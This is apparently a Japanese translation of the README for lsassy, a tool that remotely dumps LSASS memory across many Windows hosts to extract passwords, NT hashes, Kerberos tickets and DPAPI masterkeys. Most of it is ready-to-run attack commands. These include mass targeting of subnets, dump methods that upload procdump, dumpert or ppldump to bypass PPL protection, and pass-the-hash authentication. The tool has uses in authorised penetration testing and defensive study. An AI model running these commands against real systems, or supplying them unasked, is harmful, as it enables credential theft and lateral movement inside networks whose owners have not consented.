
複数のホストからリモートで資格情報を抽出するPythonツール。仕組みについてはこのブログ記事(英語)をご覧ください。
このツールはimpacketプロジェクトを使用してlsassダンプから必要なバイト列をリモートで読み取り、pypykatzを使用して資格情報を抽出します。
| 章 | 説明 |
|---|---|
| 警告 | このツールを使用する前にお読みください |
| インストール | Lsassyのインストール |
| 基本的な使い方 | Lsassyの基本的な使い方 |
| 高度な使い方 | パラメータ説明付きの高度な使い方 |
| ダンプ方法の追加 | カスタムlsassダンプ方法の追加方法 |
| 謝辞 | これらの人々とツールに感謝 |
| 公式Discord | 公式Discordサーバー |
ツールを安定させるためにあらゆる努力をしましたが、エラーが発生した場合に痕跡が残る可能性があります。
このツールは、ダンプの削除に失敗した場合(削除に努めますが)lsassダンプを残したり、スケジュールタスクの削除に失敗した場合にそのタスクを実行したままにしたりする可能性があります。これは起こるべきではありませんが、起こり得ます。注意して使用してください。
lsassy は Python >= 3.7 で動作します。
python3 -m pip install lsassy
python3 setup.py install
lsassy は複数のターゲット(IP、範囲、CIDR、ホスト名、FQDN、ターゲットリストを含むファイル)に対してそのまま動作します。
lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets
デフォルトでは、lsassyは comsvcs.dll メソッドを使用して、WMI経由またはリモートのスケジュールタスク経由でリモートからlsassをダンプしようとします。
lsassy はKerberos認証に対応しています。 KRB5CCNAME 環境変数に有効なTGTが必要です。詳細は高度な使い方を参照してください。
lsassy -k targets
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10
lsassy にはさまざまなlsassダンプ方法が実装されており、ツールの動作をユーザーが制御するためのオプションも用意されています。
lsassy はモジュールに分割されています。
+-----------+
| Writer |
+-----+-----+
|
|
+----------+ +-----+-----+ +---------+
| Parser |------| Core |----| Session |
+----------+ +-----+-----+ +---------+
|
|
+-----------+
| Dump |-+
| Methods | |-+ +----------+
+-----+-----+ | |----| File |
+-----------+ | +----------+
+------------+
|
|
+-----------+
| Exec |-+
| Methods | |-+
+-----+-----+ | |
+-----------+ |
+------------+
このモジュールはオーケストレーターです。指定された引数とオプションでlsassyクラスを作成し、資格情報を取得するためにさまざまなモジュールを呼び出します。
このモジュールはログ出力に使用されます。
Impacket上に構築されたレイヤーで、Python組み込みのファイルオブジェクトのように動作します。open、read、seek、closeなどのメソッドをオーバーライドします。
ここでダンプロジックのすべてが行われます。使用するメソッドに応じて、リモートホスト上でコードを実行し、指定された方法でlsassをダンプします。
このモジュールはpypykatzに依存し、lsassy のファイルモジュールを使用してlsassダンプをリモートで解析します。
このモジュールは出力部分を処理します。画面への出力(さまざまな形式)やファイルへの結果の書き込みを行います。
このツールはさまざまな方法でlsassをダンプできます。
ダンプ方法(-m または --method)
このメソッドは Windows 組み込みファイルのみを使用してリモート資格情報を抽出します。comsvcs.dll の minidump 関数を使用して lsass プロセスをダンプします。
このメソッドは SysInternals の procdump.exe をアップロードして lsass プロセスをダンプします。
このメソッドは outflanknl の dumpert.exe または dumpert.dll をアップロードし、システムコールを使用して lsass プロセスをダンプします。
このメソッドは ricardojoserf の NativeDump.exe をアップロードし、NTAPIのみを使用して lsass プロセスをダンプします。
このメソッドは itm4n の ppldump.exe をアップロードし、lsass プロセスをダンプしてPPLをバイパスします。
このメソッドは Ccob の Mirrordump.exe をアップロードし、LSAプラグインを介してlsassへの既に開かれているハンドルを使用してダンプします。
このメソッドは PowerSploit で使用されているWERテクニックを使用します。
一部のダンプ方法では、procdumpやdumpertのパスのようなオプションが必要です。これらのオプションは --options または -O を使用して、カンマ区切りの key=value 形式で設定できます。
... --options key=value,foo=bar
例えば:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll
既にダンプされたlsassプロセスを解析するには、--parse-only スイッチと --dump-path 、 --dump-name パラメータを指定します。
この方法を選択した場合、リモートのlsassダンプは削除されません ので注意してください。
例えば:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"
lsassy実行後、ダンプを自動的に削除したくない場合は、--keep-dump を使用します。
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump
Kerberosチケットは抽出され、$HOME/.config/lsassy/tickets に ccache 形式で保存されます。出力ディレクトリは -K [directory] または --kerberos-dir [directory] パラメータで指定できます。ディレクトリが存在しない場合、ツールはチケットを出力する前に作成を試みます。
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -K '/tmp/kerberos_tickets'
DPAPIマスターキーは抽出され、$HOME/.config/lsassy/masterkeys.txt に {GUID}:SHA1 形式で保存されます。マスターキーファイルのパスは -M [path] または --masterkeys-file [path] パラメータで指定できます。ファイルパスが存在しない場合、ツールはファイルを作成する前に作成を試みます。
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -M '/tmp/keys.txt'
lsassy を使用してリモートターゲットに対して認証する方法は3つあります。唯一の要件は、リモートターゲットに対するローカル管理者権限が必要であることです。
最も明白な方法は、平文の認証情報を使用することです。ローカルユーザーまたはドメインユーザーのいずれかを使用できます。
## ローカルユーザー
lsassy -u pixis -p P4ssw0rd server01.hackn.lab
## ドメインユーザー
lsassy -d hackn.lab -u jsnow -p WinterIsComing server01.hackn.lab
ユーザーのNTハッシュを使用した認証も可能です。LM:NT形式またはNTのみの形式のどちらかを指定できます。
lsassy -d hackn.lab -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
aad3b435b51404eeaad3b435b51404ee
## または
lsassy -d hackn.lab -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab